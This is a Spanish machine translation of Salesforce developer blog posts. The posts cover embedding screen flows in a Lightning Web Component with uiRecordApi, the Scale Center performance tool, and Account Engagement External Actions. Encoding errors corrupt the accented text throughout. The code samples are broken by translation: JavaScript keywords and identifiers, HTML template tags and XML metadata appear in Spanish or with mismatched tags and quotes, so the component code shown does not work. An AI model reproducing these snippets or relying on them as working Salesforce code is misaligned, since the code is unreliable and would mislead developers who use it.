  • 驴C贸mo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representaci贸n condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Deber铆a mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnol贸gico'.
  2. Deber铆a presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe dise帽arse con la capacidad de incorporarse en la p谩gina de registro de rayos de la cuenta.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegaci贸n (Atr谩s, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

Tambi茅n usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir c贸digo Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del dise帽o, crear, eliminar o actualizar un registro, etc. Estos son algunos de los m茅todos clave proporcionados por uiRecordApi :

  1. getRecord : este m茅todo le permite obtener datos de registro.
  2. getRecordCreateDefaults : este m茅todo proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de dise帽o de un registro, como qu茅 campos se muestran, c贸mo se muestran, etc.
  4. createRecord : este m茅todo le permite crear un nuevo registro.
  5. deleteRecord 鈥 Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuraci贸n XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminaci贸n se use en una p谩gina de registro en Lightning App Builder.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web rel谩mpago para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciar谩 y mostrar谩 el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en funci贸n de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representar谩 si la condici贸n correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="est谩ndar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-rel谩mpago> </div>
</plantilla>
embedFlowToLWC.js

Este c贸digo JavaScript de muestra usa el decorador @api para crear propiedades p煤blicas. Por ejemplo, recordId es una propiedad reactiva p煤blica que contiene el ID de la p谩gina de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una funci贸n del m贸dulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importaci贸n se utilizan para importar los m贸dulos y las dependencias necesarios. LightningElement es el componente b谩sico para crear componentes web Lightning.
  • account({ error, data }) es una funci贸n que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero seg煤n el tipo de cuenta.
  • get inputVariables() es un m茅todo captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } m谩s si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnol贸gico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acci贸n despu茅s de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente est谩 dise帽ado para usarse en una p谩gina de registro en Lightning App Builder.



<?versi贸n xml=鈥1.0鈥 codificaci贸n=鈥漊TF-8鈥?>
<LightningComponentBundle xmlns=鈥漢ttp://soap.sforce.com/2006/04/metadata鈥>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>rel谩mpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Salesforce Scale Center est谩 generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicaci贸n dise帽ada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con informaci贸n mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las m茅tricas de rendimiento de la organizaci贸n y a los conocimientos pr谩cticos.

En esta publicaci贸n, escuchar谩 c贸mo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto cr铆tico del dise帽o e implementaci贸n de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Dise帽ar para el futuro y predecir y simular el tr谩fico comercial futuro puede ser un desaf铆o. Si bien algunos errores pueden detectarse durante la fase de dise帽o, la mayor铆a de los errores ocurren solo durante el tiempo de ejecuci贸n en producci贸n y, a veces, se manifiestan durante las cargas m谩ximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las m茅tricas de rendimiento necesarias para aislar los puntos cr铆ticos y la capacidad de profundizar en estos puntos cr铆ticos para el an谩lisis de la causa ra铆z y la gu铆a de remediaci贸n. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicaci贸n de manera proactiva en lugar de reactivamente, asegurando soluciones m谩s disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visi贸n completa de sus m茅tricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instant谩nea de las m茅tricas de rendimiento de su organizaci贸n durante un intervalo de tiempo definido. A los clientes se les proporciona un panel 煤nico de visualizaci贸n de errores comunes, incluidos inicios de sesi贸n fallidos, errores de Apex simult谩neos y errores de Rowlock. Adem谩s, los clientes pueden ver las m茅tricas clave visualizadas en un gr谩fico durante la duraci贸n del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar r谩pidamente puntos cr铆ticos de rendimiento y escala.

Llevar a cabo un an谩lisis profundo de un problema de rendimiento

Caso de uso: optimizaci贸n del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos cr铆ticos, problemas y picos dentro de las m茅tricas de rendimiento, los clientes pueden investigar los componentes y sistemas que est谩n causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicaci贸n lleva mucho tiempo y falla con frecuencia. A continuaci贸n, explicaremos c贸mo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gr谩fico de CPU de la base de datos .

2. En el gr谩fico, haga clic y arrastre para resaltar los picos en las m茅tricas de rendimiento.

3. Seleccione el tipo de informe e inicie un an谩lisis de la base de datos.

4. Cambie a la pesta帽a An谩lisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qu茅 acciones espec铆ficas est谩n provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, L铆mites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los an谩lisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes per铆odos de tiempo

Salesforce Scale Center permite a los clientes comparar las m茅tricas de rendimiento de la organizaci贸n en diferentes per铆odos de tiempo. Los casos de uso clave incluyen:

  • Preparaci贸n para la implementaci贸n de producci贸n:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producci贸n
  • Evaluaci贸n del impacto posterior a la implementaci贸n:
    • Despu茅s de un lanzamiento importante o una implementaci贸n de funciones en producci贸n, aproveche Scale Center para comparar las m茅tricas de la organizaci贸n antes y despu茅s de la implementaci贸n.
    • Determinar si la implementaci贸n ha tenido alg煤n impacto negativo en el desempe帽o general de la organizaci贸n.
  • An谩lisis del rendimiento durante los d铆as pico:
    • Utilice la funci贸n de comparaci贸n de Scale Center para evaluar el impacto en el rendimiento de la organizaci贸n durante los d铆as pico.
    • Compare las m茅tricas de tr谩fico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

C贸mo comparar per铆odos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparaci贸n.

2. Compare las m茅tricas de primera l铆nea.

3. Compare los gr谩ficos de rendimiento de la organizaci贸n.

Al aprovechar la funci贸n de comparaci贸n de Scale Center, los desarrolladores pueden obtener informaci贸n valiosa sobre el rendimiento de la organizaci贸n, identificar 谩reas de optimizaci贸n y garantizar un proceso de implementaci贸n fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y est谩 disponible en todas las organizaciones de sandbox de copia completa y de producci贸n de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organizaci贸n y no accede a los datos de su organizaci贸n
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center est茅 habilitado en una organizaci贸n fuera de UE, comun铆quese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuraci贸n.
  2. Ingrese "Centro de escala" en el cuadro B煤squeda r谩pida y haga clic en la pesta帽a Rendimiento de la organizaci贸n en la hoja Rendimiento.
  3. Habilite Scale Center para su organizaci贸n activando la opci贸n Habilitar Scale Center .

Tenga en cuenta que las m茅tricas de rendimiento pueden tardar hasta dos horas en aparecer despu茅s de habilitar Scale Center.

M谩s recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Comenzando con Acciones Externas 鈽侊笍

Comenzando con Acciones Externas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este a帽o, as铆 como a trav茅s de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Segu铆a surgiendo una pregunta: "驴C贸mo empiezo con las acciones externas?" En esta publicaci贸n, aprender谩 qu茅 son las acciones externas, c贸mo configurarlas y c贸mo probarlas. Adem谩s, sintonice una pr贸xima sesi贸n de codeLive el 20 de julio a las 10 a. m. PT , donde realizar茅 una demostraci贸n de codificaci贸n en vivo para mostrarle c贸mo crear una acci贸n externa y responder sus preguntas.

驴Qu茅 son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acci贸n en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatizaci贸n de la participaci贸n de la cuenta en funci贸n de un evento de participaci贸n que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicaci贸n de extensibilidad de automatizaci贸n para un servicio, por lo que puede tener una extensi贸n de aplicaci贸n de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensi贸n de aplicaci贸n de marketing. En el momento de escribir este art铆culo, las actividades externas a煤n no se pueden empaquetar, pero eventualmente tambi茅n se empaquetar谩n en la extensi贸n de la aplicaci贸n de marketing.

Si desea conectar una aplicaci贸n de terceros para automatizar la ejecuci贸n de una acci贸n de prospecto en ese sistema, entonces esta es definitivamente la funci贸n para usted. En esta publicaci贸n, profundizaremos en el lado de la acci贸n externa de las extensiones de aplicaciones de marketing.

驴Cu谩les son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, 隆dir铆a absolutamente todo! Puede que est茅s pensando: 鈥溌laro, todo el mundo dice eso!鈥. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustar铆a que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aqu铆>", entonces deseaba una acci贸n externa.

Puede usar una acci贸n externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). Tambi茅n puede usar una acci贸n externa para enviar un mensaje SMS a trav茅s de Twilio, que presentamos en una publicaci贸n de blog anterior . Incluso puedes usar acciones externas con webhooks; Us茅 la funci贸n de captura de webhook de Zapier para crear una acci贸n externa que usaba un cliente potencial como desencadenante de un Zap.

驴Qu茅 constituye una acci贸n externa?

Una acci贸n externa consta de una acci贸n invocable de Apex, metadatos de la extensi贸n de la aplicaci贸n de marketing, metadatos de una acci贸n externa y una forma de gestionar la autenticaci贸n. Los metadatos para las extensiones de la aplicaci贸n de marketing y las actividades externas conectan la acci贸n invocable con la participaci贸n de la cuenta. Los componentes que se usar谩n para la autenticaci贸n pueden variar seg煤n el tipo de autenticaci贸n que admita el servicio. Como OAUTH 2.0 es bastante com煤n, el componente que uso m谩s es un proveedor de autorizaci贸n y Credenciales con nombre . Las credenciales con nombre tambi茅n facilitan la administraci贸n de la autenticaci贸n en mi c贸digo, y el sistema hace la mayor parte del trabajo.

驴Qu茅 habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitar谩 algunas habilidades en ciertas 谩reas para construir con 茅xito una acci贸n externa. Los siguientes son temas clave de los que necesitar谩 una comprensi贸n b谩sica antes de abordar su propia acci贸n externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener 茅xito en general. Recomiendo aprender Visual Studio y el proceso de implementaci贸n de la CLI. No se necesita maestr铆a, solo lo b谩sico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentaci贸n de la API REST

El patr贸n del que hablamos en este art铆culo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acci贸n externa, debe poder leer una especificaci贸n API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementaci贸n de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendar铆a, como m铆nimo, familiarizarse con la compilaci贸n y la implementaci贸n de c贸digo Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener m谩s informaci贸n, encontr茅 煤til el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el c贸digo de la aplicaci贸n de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creaci贸n de una interfaz de usuario para controlar las entradas durante la prueba. Si est谩 familiarizado con Engagement Studio, Flow ser谩 bastante f谩cil ya que tiene muchos de los mismos conceptos. Utilic茅 la ruta Crear flujos con Flow Builder para ponerme al d铆a. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creaci贸n de todo tipo de automatizaci贸n de procesos comerciales.

驴C贸mo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman tambi茅n proporciona una manera f谩cil de generar ejemplos.
  • CLI de Visual Studio + Salesforce 鈥 Uso Visual Studio para codificar mi acci贸n invocable y la implemento en mi organizaci贸n de desarrollador. La mayor铆a de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este art铆culo, solo admitimos paquetes de primera generaci贸n (1GP) , por lo tanto, no configure su organizaci贸n de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acci贸n invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver r谩pidamente el c贸digo o ver los registros de sus pruebas de flujo de pantalla.

Patr贸n b谩sico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patr贸n b谩sico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acci贸n invocable, e InvocableMethod , que es el m茅todo a llamar al ejecutar la acci贸n invocable. Puede ver c贸mo se aplican en el siguiente c贸digo de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi c贸digo en dos clases facilita jsonificar la carga 煤til. Mi clase de entrada contiene todos los campos de variables invocables que la acci贸n invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construir谩 la carga 煤til a partir de la entrada, la convertir谩 a JSON y luego la agregar谩 a la solicitud HTTP. A continuaci贸n, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el m茅todo. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error 煤til para diagnosticar un problema.

Consideraci贸n importante: el marco de acci贸n externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el 茅xito. Si se devuelve un error, se informar谩 en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acci贸n externa, encontrar谩 errores. Cuanto m谩s pueda probar sobre la marcha, m谩s f谩cil ser谩 descubrir d贸nde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuraci贸n de la acci贸n externa de la imagen, por lo que si la verifica aqu铆, pero no funciona en Engagement Studio, sabr谩 que el problema radica en la configuraci贸n de la acci贸n externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa ra铆z y corregirlos es otra cosa. A continuaci贸n se presentan algunas de las t茅cnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi c贸digo. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigaci贸n de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integraci贸n B2BMA, para poder ver mis registros de Apex y diagnosticar el problema m谩s a fondo. Tenga cuidado, podr铆a terminar con una gran cantidad de datos. El Usuario de Integraci贸n B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acci贸n externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acci贸n externa que result贸 en una falla. Es 煤til ver lo que sucedi贸 durante una ejecuci贸n de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su direcci贸n de correo electr贸nico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones ir铆a al buz贸n de correo de ejemplo@ejemplo.com. Por ejemplo, us茅 esto para probar el ejemplo de registro de Zoom porque no quer铆a que el correo electr贸nico registrado rebotara.

Errores comunes

Los errores van a suceder, as铆 es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acci贸n exterior sea activa. Si la acci贸n no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensi贸n de la aplicaci贸n de marketing como la acci贸n externa, adem谩s de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex est茅 activa. La mayor铆a de las veces ya estar谩 marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es f谩cil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cu谩ntas veces busco acciones externas, solo para tener un momento de confusi贸n antes de recordar.

Finalmente, si su acci贸n externa no funciona, pero no ve errores, verifique que la acci贸n invocable fue dise帽ada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegr铆as. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

驴Que estas esperando? 隆Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde c贸mo funciona la funci贸n hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustar铆a hacer algo cuando el cliente potencial haga esto", y lo ayudar谩 a automatizar esa acci贸n.

Entonces, configure su entorno de desarrollador, revise la aplicaci贸n de referencia y comience a construir su acci贸n externa hoy. El 20 de julio a las 10 a. m. (hora del Pac铆fico) , realizaremos una sesi贸n de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , as铆 que 煤nase y s铆ganos mientras construimos una extensi贸n de la aplicaci贸n de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente s茅nior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante m谩s de cuatro a帽os y tiene m谩s de 13 a帽os de experiencia en gesti贸n de productos, trabajando principalmente en plataformas que van desde la atribuci贸n de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qu茅 es posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Sugar Rush of Salesforce CPQ Pricing: 隆Revelaci贸n de condiciones de precio y acciones en el pa铆s de las maravillas de las tiendas de golosinas!

Sugar Rush of Salesforce CPQ Pricing: 隆Revelaci贸n de condiciones de precio y acciones en el pa铆s de las maravillas de las tiendas de golosinas!

隆Bienvenido al encantador Candy Store Wonderland, donde nos sumergiremos en la encantadora aventura de la magia de fijaci贸n de precios de Salesforce CPQ! Desenvolveremos la condici贸n del precio y la acci贸n del precio con los escenarios de la tienda de golosinas.

